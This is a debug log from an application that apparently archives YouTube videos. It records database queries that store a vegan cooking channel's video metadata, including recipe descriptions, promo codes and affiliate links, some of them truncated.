?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Food prices have increased like crazy this year so I challenged myself to make 3 steamy, delicious and super cheap recipes for under $30 with all my ingredients purchased from the dollar store!\n\nI made 3 recipes for under $30, each delivering 4 servings for a total of 12 servings. That’s under $2.33 per serving!\n\nIf you’re vegan on a budget, it can be difficult to know where and what to shop for and still get quality ingredients, nutrition AND satisfying meals. This $30 dollar store grocery haul really challenged me to not only find healthy ingredients that are vegan but ALSO gluten-free. Dollar stores aren’t exactly known for being super gluten-friendly. Despite a somewhat challenging shop, I was able to find quite a few ingredients that I believe are going to make some pretty delicious meals. If you’re new to eating vegan and/or gluten-free I think this video will definitely help you identify what cheap ingredients you’ll most likely be able to find at your local dollar stores.\n\nFor the purposes of this challenge I did not use any other ingredients on hand other than oil, salt and pepper, simply to demonstrate that simple, basic and cheap meals can still come together deliciously! Of course, I encourage you to add and use any fresh/frozen ingredients that you have on hand to prevent food waste and to make your budget meals extra tasty and nutritious!\n\nCHECK OUT MY FULL 'GROCERY HAULS' PLAYLIST ➡️ \u00A0\u00A0\u00A0•\u00A0GROCERY\u00A0HAULS\u00A0🛒\u00A0\u00A0\nCHECK OUT MY FULL 'WHAT I EAT IN A DAY PLAYLIST' ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\nRECIPES IN THIS VIDEO\n\n1. Black Bean Chili\n1 28 oz. can Crushed tomatoes\n2 tsp minced garlic\n1 can Black beans\n1 can peaches & cream corn\n1 packet low sodium Chili seasoning \nServed with jasmine rice\n\nThis recipe is as easy as literally dumping all the ingredients into a saucepan, stirring and heating through until simmering. Serve over cooked jasmine rice!\n\n\n2. Simple Garlicky Stir Fry\nCan Baby corn\n1 can Chickpeas\n1 small can Sliced mushrooms\n1 small can Water chestnuts\n1 can Bean sprouts\n2 tbsp Minced garlic\nSoy sauce to taste\nServed with vermicelli noodles\n\nAnother dump and go recipe! Start by sautéing the minced garlic in oil in a wok or flat bottom sauce pan until fragrant and golden. Add all remaining ingredients to the pan and stir fry on medium-high heat for 5 to 6 minutes. Serve with cooked vermicelli rice noodles and enjoy!\n\n3. Red Chickpea Curry\n1 can Diced tomatoes\n1 can Chickpeas\n1 small jar Red curry paste\n1 can Lentil and veggie soup\n1 can Peas\n3 tsp minced garlic\nServed with rice\n\nAdd all the ingredients to a saucepan, stir to combine and heat through until simmering. Serve with rice and enjoy!\n\nPromo codes & discounts:\n\n*EIGHTBILLION: Try my favourite mushroom coffee JostArriba! Save 20% off first orders with my code’ STEAMYVEGAN’ at www.eightbillion.com/steamyvegan\n*SANTEVIA WATER FILTERS: My favourite countertop water filtration system! Save 10% off first orders with code STEAMYVEGAN | https://ca.santevia.com/STEAMYVEGAN\n*HONEYCOMB VEGAN-FRIENDLY RESTAURANT FINDER*: https://eat.app.link/steamyvegan\n*TRAINEST NUTRITION TRACKING APP*: Reach your goals 💪🏼 and download the forever FREE Trainest nutrition tracking app here! ➡️ https://trainestapp.com/steamyvegan (available for both iOS & android!) Check out Trainest on YouTube ➡️ \u00A0\u00A0\u00A0/\u00A0@trainestcoach\u00A0\u00A0\nGOOD PROTEIN*: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your *first order at GOODPROTEIN.CA with my code: STEAMYVEGANKITCHEN30\n*PEKO PRODUCE*: Local to Metro Vancouver or Calgary? Use my code SVK4023 at pekoproduce.com/SVK4023 to save 40% off your first order of ‘peculiar’ produce, delivered right to your door!\nINDOOR GARDEN WORKS Want to grow your own hydroponic produce indoors? Use my code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Vegan Dollar Store Grocery Haul | 3 Recipes Under $30", "93d240cb-1ad6-4f63-8ced-4bfe1a39e4f1", 1, [], false, "nYiNZLBCvb4", "https://www.youtube.com/watch?v=nYiNZLBCvb4", 267, "/downloads/downloads/alec/Steamy Vegan/2023-09-16 Vegan Dollar Store Grocery Haul | 3 Recipes Under $30/Vegan Dollar Store Grocery Haul | 3 Recipes Under $30 [nYiNZLBCvb4].NA", false, false, false, 1, ~U[2023-09-16 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "Food prices have increased like crazy this year so I challenged myself to make 3 steamy, delicious and super cheap recipes for under $30 with all my ingredients purchased from the dollar store!\n\nI made 3 recipes for under $30, each delivering 4 servings for a total of 12 servings. That’s under $2.33 per serving!\n\nIf you’re vegan on a budget, it can be difficult to know where and what to shop for and still get quality ingredients, nutrition AND satisfying meals. This $30 dollar store grocery haul really challenged me to not only find healthy ingredients that are vegan but ALSO gluten-free. Dollar stores aren’t exactly known for being super gluten-friendly. Despite a somewhat challenging shop, I was able to find quite a few ingredients that I believe are going to make some pretty delicious meals. If you’re new to eating vegan and/or gluten-free I think this video will definitely help you identify what cheap ingredients you’ll most likely be able to find at your local dollar stores.\n\nFor the purposes of this challenge I did not use any other ingredients on hand other than oil, salt and pepper, simply to demonstrate that simple, basic and cheap meals can still come together deliciously! Of course, I encourage you to add and use any fresh/frozen ingredients that you have on hand to prevent food waste and to make your budget meals extra tasty and nutritious!\n\nCHECK OUT MY FULL 'GROCERY HAULS' PLAYLIST ➡️ \u00A0\u00A0\u00A0•\u00A0GROCERY\u00A0HAULS\u00A0🛒\u00A0\u00A0\nCHECK OUT MY FULL 'WHAT I EAT IN A DAY PLAYLIST' ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\nRECIPES IN THIS VIDEO\n\n1. Black Bean Chili\n1 28 oz. can Crushed tomatoes\n2 tsp minced garlic\n1 can Black beans\n1 can peaches & cream corn\n1 packet low sodium Chili seasoning \nServed with jasmine rice\n\nThis recipe is as easy as literally dumping all the ingredients into a saucepan, stirring and heating through until simmering. Serve over cooked jasmine rice!\n\n\n2. Simple Garlicky Stir Fry\nCan Baby corn\n1 can Chickpeas\n1 small can Sliced mushrooms\n1 small can Water chestnuts\n1 can Bean sprouts\n2 tbsp Minced garlic\nSoy sauce to taste\nServed with vermicelli noodles\n\nAnother dump and go recipe! Start by sautéing the minced garlic in oil in a wok or flat bottom sauce pan until fragrant and golden. Add all remaining ingredients to the pan and stir fry on medium-high heat for 5 to 6 minutes. Serve with cooked vermicelli rice noodles and enjoy!\n\n3. Red Chickpe (truncated) 20:31:08.072 [debug] QUERY OK source="sources" db=1.1ms idle=17.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.075 [debug] QUERY OK source="media_items" db=3.1ms idle=16.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-09-13 00:00:00Z], 1] 20:31:08.081 [debug] QUERY OK source="media_items" db=4.2ms idle=19.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This is what I eat in a day as a vegan! On this day I tested out several wholesome, delicious, and easy vegan recipes. Fall is my favourite time of year to get inspired in the kitchen and it felt so good to make warm, cozy meals with hearty fall flavour. I’ll definitely be creating full recipe videos and blog posts for some of the recipes you’ll see in this video at a future date so stay tuned and subscribe so you don’t miss out!\n\nChocolate Orange Baked Oats\n3 cups rolled oats\n½ cup oat flour (ground oats in a blender)\n2 tsp baking powder\nPinch of salt\n¼ + 2 tbsp cup cocoa powder\n½ cup chopped walnuts\n½ cup dairy free chocolate chips or sub for cacao nibs, or a mix\n1 cup oat milk\n3 tbsp date paste or 3 tbsp maple syrup\n1 tsp vanilla\n2 flax eggs\nZest of 1 large orange\nFlesh of 1 orange, blended with splash of water\nOptional: extra orange slices for garnish\n\n1. Preheat your oven to 350°F and grab a large casserole dish.\n2. In the casserole dish, add the rolled oats, oat flour, baking powder, salt and sift in the cocoa powder. Whisk together the dry ingredients until they’re well combined.\n3. Prepare the orange zest and juice: Using the smallest grate on a box grater or microplaner, carefully remove the orange zest without getting the bitter white pith beneath it. Add the orange zest into a separate mixing bowl. Next, using a large sharp knife, carefully cut off the top and bottom of the orange and cut away the white pith from the orange, leaving just the juicy flesh inside. Chop the orange flesh into quarters and add it into a blender with ¼ cup of water, then blend until a foamy, pulpy orange juice is made. Pour into the mixing bowl with the zest.\n4. Add the plant milk, date paste/maple syrup, flax eggs and vanilla to the orange and whisk until its a thick, well combined wet mixture.\n5. Pour the wet mixture into the dry mix and using a spatula, stir until it’s very well combined with no dry spots remaining. Then add the chopped walnuts and chocolate chips/cacao bins and stir once again to combine.\n6. Optional step: Slice 1 large (and clean) orange into thin slices, add to a bowl and pour boiling hot water over top, let sit for 3 mins. Drain and arrange the slices overtop of the oatmeal.\n7. Bake for 40 minutes until slightly firm to to touch and a bit crisped around the edges.\n\nCHECK OUT MY FULL 'WHAT I EAT IN A DAY PLAYLIST' ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\nMORE FALL RECIPES ⬇️\nVegan Pumpkin Spice Breakfast Recipes ➡️ \u00A0\u00A0\u00A0•\u00A0Plant-Based\u00A0Pumpkin\u00A0Spice\u00A0Breakfast\u00A0Recipe...\u00A0\u00A0\nSavoury Pumpkin Spice Recipes ➡️ \u00A0\u00A0\u00A0•\u00A03\u00A0Savoury\u00A0Pumpkin\u00A0Spice\u00A0Recipes\u00A0You've\u00A0GOT...\u00A0\u00A0\nChocolate Chip Pumpkin Spice Mini Scones ➡️ \u00A0\u00A0\u00A0•\u00A0PUMPKIN\u00A0SPICE\u00A0CHOCOLATE\u00A0CHIP\u00A0MINI\u00A0SCONES\u00A0|...\u00A0\u00A0\nCozy Instant Pot Soup Recipes ➡️ \u00A0\u00A0\u00A0•\u00A02\u00A0Cozy\u00A0Vegan\u00A0Soup\u00A0Recipes\u00A0to\u00A0Make\u00A0in\u00A0Your\u00A0...\u00A0\u00A0\nVegan Broccoli Cheese Soup ➡️ \u00A0\u00A0\u00A0•\u00A0Easy\u00A0Vegan\u00A0Broccoli\u00A0and\u00A0Cheese\u00A0Soup🥦🧀\u00A0|\u00A0He...\u00A0\u00A0\n\n\n\nSave 20% off your GOOD PROTEIN purchase with promo code STEAMY20 at checkout! ➡️ https://www.goodprotein.ca/discount/S...\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\n\nProducts I Recommend (*affiliate links, I make a commission from qualifying purchases from these links*)\n\nVegan and GF Groceries I Love to Buy:\n\nDandies\nhttps://amzn.to/3Oeefzk\n\nVega Protein Powder\nhttps://amzn.to/4748ugm\n\nBanza Pasta Noodles\nhttps://amzn.to/3DwNT6F\n\nLenny and Larry's Cookie-fied Bar\nhttps://amzn.to/3QmKA9I\n\nLouisville Vegan and GF Jerky\nhttps://amzn.to/3rMyoFe\n\nSunbutter Crunchy\nhttps://amzn.to/3OxZSHJ\n\nPB2 Powdered Peanut Butter\nhttps://amzn.to/3rIXwwy\n\n\n\nAppliances Used and Recommended From My Kitchen\n\nVitamix Pro 750\nhttps://amzn.to/3DPFV9b\n\nKitchenAid Stand Mixer Artisan Series\nhttps://amzn.to/3q6JTqw\n\nBreville SmartOven Air Fryer\nhttps://amzn.to/3OulpRu\n\nTofuture Tofu Press\nhttps://amzn.to/43JUSUo\n\nAnolon X Pots and Frying Pans\nhttps://amzn.to/3rObtJK\n\nInstant Pot\nhttps://amzn.to/3Yhr4gX\n\n\nVideo Gear I Use\n\nRode VideoMic Pro+\nhttps://amzn.to/3Ybpg9h\n\nCanon M50 Camera\n" <> ..., "VEGAN What I eat in a day | Healthy fall recipes 🍂", "355129e6-9631-4138-8334-25113f59a4c0", 1, [], false, "Z_lVIeyFxRE", "https://www.youtube.com/watch?v=Z_lVIeyFxRE", 268, "/downloads/downloads/alec/Steamy Vegan/2023-09-13 VEGAN What I eat in a day | Healthy fall recipes 🍂/VEGAN What I eat in a day | Healthy fall recipes 🍂 [Z_lVIeyFxRE].NA", false, false, false, 1, ~U[2023-09-13 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "This is what I eat in a day as a vegan! On this day I tested out several wholesome, delicious, and easy vegan recipes. Fall is my favourite time of year to get inspired in the kitchen and it felt so good to make warm, cozy meals with hearty fall flavour. I’ll definitely be creating full recipe videos and blog posts for some of the recipes you’ll see in this video at a future date so stay tuned and subscribe so you don’t miss out!\n\nChocolate Orange Baked Oats\n3 cups rolled oats\n½ cup oat flour (ground oats in a blender)\n2 tsp baking powder\nPinch of salt\n¼ + 2 tbsp cup cocoa powder\n½ cup chopped walnuts\n½ cup dairy free chocolate chips or sub for cacao nibs, or a mix\n1 cup oat milk\n3 tbsp date paste or 3 tbsp maple syrup\n1 tsp vanilla\n2 flax eggs\nZest of 1 large orange\nFlesh of 1 orange, blended with splash of water\nOptional: extra orange slices for garnish\n\n1. Preheat your oven to 350°F and grab a large casserole dish.\n2. In the casserole dish, add the rolled oats, oat flour, baking powder, salt and sift in the cocoa powder. Whisk together the dry ingredients until they’re well combined.\n3. Prepare the orange zest and juice: Using the smallest grate on a box grater or microplaner, carefully remove the orange zest without getting the bitter white pith beneath it. Add the orange zest into a separate mixing bowl. Next, using a large sharp knife, carefully cut off the top and bottom of the orange and cut away the white pith from the orange, leaving just the juicy flesh inside. Chop the orange flesh into quarters and add it into a blender with ¼ cup of water, then blend until a foamy, pulpy orange juice is made. Pour into the mixing bowl with the zest.\n4. Add the plant milk, date paste/maple syrup, flax eggs and vanilla to the orange and whisk until its a thick, well combined wet mixture.\n5. Pour the wet mixture into the dry mix and using a spatula, stir until it’s very well combined with no dry spots remaining. Then add the chopped walnuts and chocolate chips/cacao bins and stir once again to combine.\n6. Optional step: Slice 1 large (and clean) orange into thin slices, add to a bowl and pour boiling hot water over top, let sit for 3 mins. Dr (truncated) 20:31:08.082 [debug] QUERY OK source="sources" db=1.0ms idle=21.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.084 [debug] QUERY OK source="media_items" db=2.1ms idle=12.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-09-09 00:00:00Z], 1] 20:31:08.087 [debug] QUERY OK source="media_items" db=2.0ms idle=12.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Here’s what I eat in a day as a vegan! Simple and nourishing vegan comfort foods on a chill Sunday was just what I needed after a very long busy work week. \n\nCheck out my entire WHAT I EAT playlist! ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\n\nRECIPES MENTIONED IN THIS VIDEO:\n\nHigh-Protein Red Lentil Waffles (featured in ‘HIGH PROTEIN BREAKFAST IDEAS’ ➡️ \u00A0\u00A0\u00A0•\u00A03\u00A0Easy\u00A0HIGH\u00A0PROTEIN\u00A0Vegan\u00A0Breakfast\u00A0Ideas!\u00A0\u00A0)\n15g protein per waffle\n\n½ cup dry red lentils\n1 cup soy milk\n1 medjool date\n1 tsp vanilla extract\n½ tsp cinnamon\n1 tsp baking powder\nPinch of salt\n\n1. Add all the ingredients, minus the cinnamon and baking powder, to a blender jug, stir and let soak in the fridge for 3 hours up to overnight.\n2. Add the cinnamon and baking powder, stir and then blend on high speed until a somewhat thick batter forms.\n3. Heat a waffle iron and lightly spray with oil. Add half the batter for 1 waffle and let cook for 8 to 10 minutes, until golden, crispy and fragrant.\n4. Serve with your favourite toppings and enjoy!\n\nCrispy Nut Crusted Tofu (featured in VEGAN MEAL PREP ➡️ \u00A0\u00A0\u00A0•\u00A0Vegan\u00A0Meal\u00A0Prep!\u00A0Full\u00A0week\u00A0of\u00A0dinners\u00A0in\u00A0u...\u00A0\u00A0)\n2 blocks extra firm tofu, patted dry\nAquafaba (chickpea liquid) from 1 can of chickpeas\n⅔ cup walnuts\n½ cup almond flour\n2 tbsp sesame seeds\n1 tsp garlic powder\n½ tsp salt\n¾ cup brown rice flour\n\n1. Add the walnuts, almond flour, sesame seeds, garlic powder and salt to a food processor and process until its a coarse, mealy texture similar to breadcrumbs.\n2. Cube 2 blocks of extra firm tofu into chunks. Add the rice flour, breadcrumbs and aquafaba into 3 separate, deep bowls.\n3. One by one, coat the tofu cubes in the rice flour, then aquafaba, then roll in the bread crumbs and place on a baking tray or air fryer basket.\n4. Repeat with all the remaining cubes. Airy fry for 16 to 18 minutes at 425°F or bake at 450°F for 22 minutes, until golden and crispy.\n\n\nSave 20% off your GOOD PROTEIN purchase with promo code STEAMY20 at checkout! ➡️ https://www.goodprotein.ca/discount/S...\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\n\nProducts I Recommend (*affiliate links, I make a commission from qualifying purchases from these links*)\n\nVegan and GF Groceries I Love to Buy:\n\nDandies\nhttps://amzn.to/3Oeefzk\n\nVega Protein Powder\nhttps://amzn.to/4748ugm\n\nBanza Pasta Noodles\nhttps://amzn.to/3DwNT6F\n\nLenny and Larry's Cookie-fied Bar\nhttps://amzn.to/3QmKA9I\n\nLouisville Vegan and GF Jerky\nhttps://amzn.to/3rMyoFe\n\nSunbutter Crunchy\nhttps://amzn.to/3OxZSHJ\n\nPB2 Powdered Peanut Butter\nhttps://amzn.to/3rIXwwy\n\n\n\nAppliances\u00A0Used and Recommended From My Kitchen\n\nVitamix Pro 750\nhttps://amzn.to/3DPFV9b\n\nKitchenAid\u00A0Stand Mixer Artisan Series\nhttps://amzn.to/3q6JTqw\n\nBreville SmartOven Air Fryer\nhttps://amzn.to/3OulpRu\n\nTofuture Tofu Press\nhttps://amzn.to/43JUSUo\n\nAnolon X Pots and Frying Pans\nhttps://amzn.to/3rObtJK\n\nInstant Pot\nhttps://amzn.to/3Yhr4gX\n\n\nVideo Gear I Use\n\nRode VideoMic Pro+\nhttps://amzn.to/3Ybpg9h\n\nCanon M50 Camera\nhttps://amzn.to/3OySITz\n\nCanon EF-M 32mm Lens\nhttps://amzn.to/3rBUnyr\n\nNeewer 660 Video Lights\nhttps://amzn.to/44DeMSq", "What I eat on a self-care day | Vegan & gluten-free", "c1ccbbd1-f542-4495-b62d-e5755b00acb7", 1, [], false, "bfEpaNLwYL8", "https://www.youtube.com/watch?v=bfEpaNLwYL8", 269, "/downloads/downloads/alec/Steamy Vegan/2023-09-09 What I eat on a self-care day | Vegan & gluten-free/What I eat on a self-care day | Vegan & gluten-free [bfEpaNLwYL8].NA", false, false, false, 1, ~U[2023-09-09 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "Here’s what I eat in a day as a vegan! Simple and nourishing vegan comfort foods on a chill Sunday was just what I needed after a very long busy work week. \n\nCheck out my entire WHAT I EAT playlist! ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\n\nRECIPES MENTIONED IN THIS VIDEO:\n\nHigh-Protein Red Lentil Waffles (featured in ‘HIGH PROTEIN BREAKFAST IDEAS’ ➡️ \u00A0\u00A0\u00A0•\u00A03\u00A0Easy\u00A0HIGH\u00A0PROTEIN\u00A0Vegan\u00A0Breakfast\u00A0Ideas!\u00A0\u00A0)\n15g protein per waffle\n\n½ cup dry red lentils\n1 cup soy milk\n1 medjool date\n1 tsp vanilla extract\n½ tsp cinnamon\n1 tsp baking powder\nPinch of salt\n\n1. Add all the ingredients, minus the cinnamon and baking powder, to a blender jug, stir and let soak in the fridge for 3 hours up to overnight.\n2. Add the cinnamon and baking powder, stir and then blend on high speed until a somewhat thick batter forms.\n3. Heat a waffle iron and lightly spray with oil. Add half the batter for 1 waffle and let cook for 8 to 10 minutes, until golden, crispy and fragrant.\n4. Serve with your favourite toppings and enjoy!\n\nCrispy Nut Crusted Tofu (featured in VEGAN MEAL PREP ➡️ \u00A0\u00A0\u00A0•\u00A0Vegan\u00A0Meal\u00A0Prep!\u00A0Full\u00A0week\u00A0of\u00A0dinners\u00A0in\u00A0u...\u00A0\u00A0)\n2 blocks extra firm tofu, patted dry\nAquafaba (chickpea liquid) from 1 can of chickpeas\n⅔ cup walnuts\n½ cup almond flour\n2 tbsp sesame seeds\n1 tsp garlic powder\n½ tsp salt\n¾ cup brown rice flour\n\n1. Add the walnuts, almond flour, sesame seeds, garlic powder and salt to a food processor and process until its a coarse, mealy texture similar to breadcrumbs.\n2. Cube 2 blocks of extra firm tofu into chunks. Add the rice flour, breadcrumbs and aquafaba into 3 separate, deep bowls.\n3. One by one, coat the tofu cubes in the rice flour, then aquafaba, then roll in the bread crumbs and place on a baking tray or air fryer basket.\n4. Repeat with all the remaining cubes. Airy fry for 16 to 18 minutes at 425°F or bake at 450°F for 22 minutes, until golden and crispy.\n\n\nSave 20% off your GOOD PROTEIN purchase with promo code STEAMY20 at checkout! ➡️ https://www.goodprotein.ca/discount/S...\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\n\nProducts I Recommend (*affiliate links, I make a commission from qualifying purchases from these links*)\n\nVegan and GF Groceries I Love to Buy:\n\nDandies\nhttps://amzn.to/3Oeefzk\n\nVega Protein Powder\nhttps://amzn.to/4748ugm\n\nBanza Pasta Noodles\nhttps://amzn.to/3DwNT6F\n\nLenny and Larry's Cookie-fied Bar\nhttps://amzn.to/3QmKA9I\n\nLouisville Vegan and GF Jerky\nhttps://amzn.to/3rMyoFe\n\nSunbutter Crunchy\nhttps://amzn.to/3OxZSHJ\n\nPB2 Powdered Peanut Butter\nhttps://amzn.to/3rIXwwy\n\n\n\nAppliances\u00A0Used and Recommended From My Kitchen\n\nVitamix Pro 750\nhttps://amzn.to/3DPFV9b\n\nKitchenAid\u00A0Stand Mixer Artisan Series\nhttps://amzn.to/3q6JTqw\n\nBreville SmartOven Air Fryer\nhttps://amzn.to/3O (truncated) 20:31:08.090 [debug] QUERY OK source="sources" db=1.4ms idle=13.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.093 [debug] QUERY OK source="media_items" db=2.6ms idle=9.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-09-06 00:00:00Z], 1] 20:31:08.097 [debug] QUERY OK source="media_items" db=2.5ms idle=11.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Here's how I do easy vegan meal prep for the week! If you don’t like having to cook dinner every day of the week, I’m here to help. I’m going to show you how easy it is to meal prep some delicious and balanced dinner bowls. I’ll show you how to prepare some veggies dishes, plant-based proteins and healthy carbs so you can have lots of variety in your week while keeping it nutritionally balanced. \n\nBy using simple yet hearty ingredients we were able to create tons of different meals to enjoy throughout the week that will keep you feeling satisfied with lots of room for creativity.\n\nWATCH MY MEAL PREP PLAYLIST ➡️ \u00A0\u00A0\u00A0•\u00A0PLANT-BASED\u00A0MEAL\u00A0PREP\u00A0🍽\u00A0\u00A0\n\nWHAT I MADE\n\nVEGGIES\n1️⃣ Curried Sheet Pan Veggies\n3 Bell peppers, 1 onion, 4 carrots, ½ head of cauliflower\n1 tbsp oil\nSPICES: 1 tsp curry powder, 1 tsp garam masala, 1 tsp garlic powder, 1 tsp chilli powder, ½ tsp salt\n\n1. Wash and roughly chop all of your veggies and arrange them on 2 large sheet pans. Mix and add the spices plus drizzle the oil over the veggies. \n2. Toss the veggies on the sheet pan using your hands to evenly coat them with the spices. Bake at 400°F for 40 minutes, until golden and fork tender, rotating the trays halfway through baking.\n\n2️⃣ Balsamic Roasted Eggplant Steaks\n3 globe eggplants\n2 tbsp balsamic vinegar\n1 tbsp sesame oil\nsalt\n\n1. Salt the eggplants to draw out extra moisture: Cut the eggplants in half lengthwise. Generously salt the fleshy insides and then place them face down on a drying/cooling rack. Leave them for 30 minutes (and move onto the other steps below while you're waiting).\n2. Once they've dripped out some liquid, rinse them well and pat them dry with a towel. \n3. In a small bowl mix the balsamic vinegar and sesame oil. Cut a cross-hatch pattern on the flat side of the eggplant steaks and generously brush the glaze over. \n4. Place the eggplant steaks face down on a baking tray and bake for 30-35 minutes until golden and caramelized, flipping them over halfway through cooking time.\n\nPROTEINS\n1️⃣ Crispy Breaded Tofu\n2 blocks extra firm tofu, patted dry\nAquafaba (chickpea liquid) from 1 can of chickpeas\n⅔ cup walnuts\n½ cup almond flour\n2 tbsp sesame seeds\n1 tsp garlic powder\n½ tsp salt\n¾ cup brown rice flour\n\n1. Add the walnuts, almond flour, sesame seeds, garlic powder and salt to a food processor and process until its a coarse, mealy texture similar to breadcrumbs.\n2. Cube 2 blocks of extra firm tofu into chunks. Add the rice flour, breadcrumbs and aquafaba into 3 separate, deep bowls.\n3. One by one, coat the 